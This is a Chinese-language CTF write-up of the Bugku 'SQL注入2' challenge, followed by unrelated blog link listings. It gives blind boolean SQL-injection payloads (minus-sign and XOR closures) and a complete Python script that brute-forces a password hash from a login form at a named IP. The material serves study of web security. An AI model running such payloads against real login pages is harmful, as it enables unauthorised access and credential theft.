网络安全初学者,欢迎评论交流学习,若内容中有错误欢迎各位指正。

题目地址:http://123.206.87.240:8007/web2/

题目提示:都过滤了绝望吗?,提示 !,!=,=,+,-,^,%

用burpsuit抓包,再进行fuzz(模糊测试),用字典跑看usename的参数过滤了哪些关键词,其中数值为367的为没有被过滤的,数值为370的是被过滤的。
 
 
然后就一直被卡在这里,没发现报错,也不知道怎么闭合,在网上看看看wp,有几种解题方式,自认为写的较为合理的为一叶飘零师傅的方法。
关键sql语句:select * from users where name=0 ,会输出所有语句

 
 减号没有被过滤,于是想到利用减号闭合,
在运算的时候,字符串‘admin’转换成0
 
admin'-1-' 等于-1
admin'-0-' 等于0
 
 
 
 
 
admin'-0-'的时候为显示password error,说明条件为真,admin'-1-'时候为username error,为false,猜测后台构造为:
$sql = select * from users where username=$username;当传入admin'-0-'时sql语句为:select * from users where username=0,正常查询返回所有值。
当传入admin'-1-'时SQL语句为select * from users where username=-1,报错
 
 
构造SQL语句:
取字段中的值进行查询
mid((‘passwd’)from(-1)):d 这时需要取反
 
查询admin中第一个字符a的ascii码
select ascii(mid(('admin')from(1))); 取ASCII码的值时此时又不需要取反了,所以到这一步可以省掉一个REVERSE()函数
 
脚本编写:
从passwd字段中查询逐个查询字段值的ASCII码值判断,字段值范围缩小到了md5值的范围,i= (1.33)j in '0123456789abcdef'
passwd字段是一叶飘零师傅猜的:
 
payload:

 admin'-(ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+")-'

若ascii(MID((passwd)from("1")))="+str(ord(0))+"成立为‘真’转换成为数字型1,反之为0,payload转换为admin'-1-' 和 admin'-0-' 形式

通过判断返回内容是否存在username error!!@_@"来确定条件是否为真
编写脚本如下:
#!-*-coding:utf-8-*-
import requests
url = "http://123.206.87.240:8007/web2/login.php"
cookie = {
'PHPSESSID':'lv6m5u2466f0ja6k8l8f8kehjdq4skhn'
} password = ""
for i in range(1,33):
for j in '0123456789abcdef':
payload = "admin'-(ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+")-'"
data = {
'uname': payload,
'passwd': ''
}
r = requests.post(url=url,cookies=cookie,data=data)
#print r.content
if "username error!!@_@" in r.content:
password += j
print password
break
运行结果:0192023a7bbd73250516f069df18b500,解md5为 admin123
创新方法,使用异或^也能做
提示中也没有过滤异或符号^,联系到刚学的异或注入方法,构造admin^1=0^1=1型式,则0^(ascii(MID(('admin')from("1")))="97") 等价于 0^1=1
 
 
payload可以改成:
0'^(ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+")^'
拿到密码进去后根据其实输入ls即可得到flag
 
其它解题的方法:dirsearch+ds_store,
 flag就放在当前目录???,菜鸡打扰了!
 
存在文件flag-1,记事本打开即可

Bugku SQL注入2的思考的更多相关文章

  1. http://www.bugku.com:Bugku——SQL注入1(http://103.238.227.13:10087/)

    Bugku——SQL注入1(http://103.238.227.13:10087/) 过滤了几乎所有的关键字,尝试绕过无果之后发现,下面有个xss过滤代码.经搜索得该函数会去掉所有的html标签,所 ...

  2. 从orderby引发的SQL注入问题的思考

    背景: 某一天准备上线,合完master之后准备发布了,忽然公司的代码安全监测提示了可能在代码中存在sql注入的风险,遂即检查,发现sql注入问题 既然碰到了这个问题,那就了简单了解下sql注入 基础 ...

  3. 【实战】某项目SQL注入引发的思考

    数据包: 测试参数:username,测试payload: ' ' or '1'='1 ' or '1'='2 响应结果都未发生任何变化,借助sqlmap测试,结果一样: 尝试在or前面进行简单的fu ...

  4. bugku | sql注入2

    http://123.206.87.240:8007/web2/ 全都tm过滤了绝望吗? 提示 !,!=,=,+,-,^,% uname=admin&passwd=1' and '1 : 一个 ...

  5. 转:PHP中防止SQL注入的方法

    [一.在服务器端配置] 安全,PHP代码编写是一方面,PHP的配置更是非常关键. 我们php手手工安装的,php的默认配置文件在 /usr/local/apache2/conf/php.ini,我们最 ...

  6. php防止SQL注入详解及防范

    SQL 注入是PHP应用中最常见的漏洞之一.事实上令人惊奇的是,开发者要同时犯两个错误才会引发一个SQL注入漏洞一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义( ...

  7. php防止sql注入的方法(转)

    [一.在服务器端配置] 安全,PHP代码编写是一方面,PHP的配置更是非常关键. 我们php手手工安装的,php的默认配置文件在 /usr/local/apache2/conf/php.ini,我们最 ...

  8. union注入的几道ctf题,实验吧简单的sql注入1,2,这个看起来有点简单和bugku的成绩单

    这几天在做CTF当中遇到了几次sql注入都是union,写篇博客记录学习一下. 首先推荐一篇文章“https://blog.csdn.net/Litbai_zhang/article/details/ ...

  9. 实例讲解 SQL 注入攻击

    这是一篇讲解SQL注入的实例文章,一步一步跟着作者脚步探索如何注入成功,展现了一次完整的渗透流程,值得一读.翻译水平有限,见谅! 一位客户让我们针对只有他们企业员工和顾客能使用的企业内网进行渗透测试. ...

随机推荐

  1. [Boost库] noncopyable——禁止拷贝的类

    1.noncopyable允许程序轻松地实现一个禁止拷贝的类,在头文件<boost/noncopyable.hpp>中   2.实现原理很简单:noncopyable的实现就是用了C++中 ...

  2. 代码审计之CSRF原理及修复

    在平时的测试中,csrf也是比较容易发现的,主要就是看它对一个操作,有没有检测其时效性(这样表述可能不太准确),一般的防护方法就是添加token来进行校验,并及时对其进行失效处理. 以下所有代码都是我 ...

  3. Jib构建镜像的问题分析(Could not find or load main class ${start-class})

    问题简述 通过Jib插件将SpringBoot工程制作成Docker镜像成功,但是运行镜像的时候报错(Could not find or load main class ${start-class}) ...

  4. Java8新特性——stream流

    一.基本API初探 package java8.stream; import java.util.Arrays; import java.util.IntSummaryStatistics; impo ...

  5. Python简单的登录注册代码

    #-*- coding: utf-8 -*- import hashlib # 定义数据库(声明字典) #注册登录的简单hash处理 db={} def get_md5(password): md5= ...

  6. 关于.NET HttpClient方式获取微信小程序码(二维码)

    随着微信小程序的火热应用,市面上有关小程序开发的需求也多了起来.近来分析了一项生成有关生成微信小程序码的需求——要求扫码跳转到小程序指定页面(带参数):看了下小程序官方文档文档,结合网上的例子,未看到 ...

  7. 利用Code::Blocks搭建64位C++开发平台

    0.前言 随着64位计算机的普及,编写64位程序成为程序员基本的要求.我在<体验Code::Blocks下的C++编程>中描述了利用Code::Blocks官方提供的封装了编译器的安装包( ...

  8. Spring 中使用 @Scheduled 创建定时任务

    一.定时任务触发条件 1.在 Application 启动类上添加:@EnableScheduling 2.含定时方法的类上添加注解:@Component,该注解将定时任务类纳入 spring bea ...

  9. 手动模拟JDK动态代理

    为哪些方法代理? 实现自己动态代理,首先需要关注的点就是,代理对象需要为哪些方法代理? 原生JDK的动态代理的实现是往上抽象出一层接口,让目标对象和代理对象都实现这个接口,怎么把接口的信息告诉jdk原 ...

  10. 微服务架构-利用Redis特性进行业务解耦

    背景:     接着上篇文章来,上篇文章讲的是如何利用ApplicationContext的事件机制来达到业务解耦,而且这只能作用在单体应用中.在当下这么盛行的微服务架构中,想要再利用此方案做业务解耦 ...